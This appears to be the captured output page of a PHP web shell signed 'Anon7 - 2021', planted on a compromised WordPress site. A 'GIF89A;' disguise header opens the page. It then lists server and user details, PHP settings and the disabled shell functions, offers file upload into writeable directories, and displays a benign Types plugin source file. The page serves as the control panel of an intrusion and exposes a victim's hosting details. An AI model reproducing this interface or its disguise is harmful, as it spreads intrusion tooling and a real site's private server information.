GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/condition/single/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/condition/single/no_fields.php
<?php

/**
 * Types_Helper_Condition_Single_No_Fields
 *
 * @since 2.0
 */
class Types_Helper_Condition_Single_No_Fields extends Types_Helper_Condition_Single_Missing {

	public function valid() {
		$template = $this->find_template();

		// no template available
		if( empty( $template ) )
			return false;

		// do not check if there are no fields assigned to current post
		// this check is not placed very well as it's out of class scope
		$check_fields_assigned = new Types_Helper_Condition_Type_Fields_Assigned();
		if( ! $check_fields_assigned->valid() )
			return false;

		$file = new Toolset_Filesystem_File();

		// abort if file can't be found
		if( ! $file->open( $template ) )
			return false;

		// check for fields, abort if there results in true
		if( $file->search( array( 'types_render_field', 'wpcf-' ) ) )
			return false;

		return true;
	}
}

Anon7 - 2021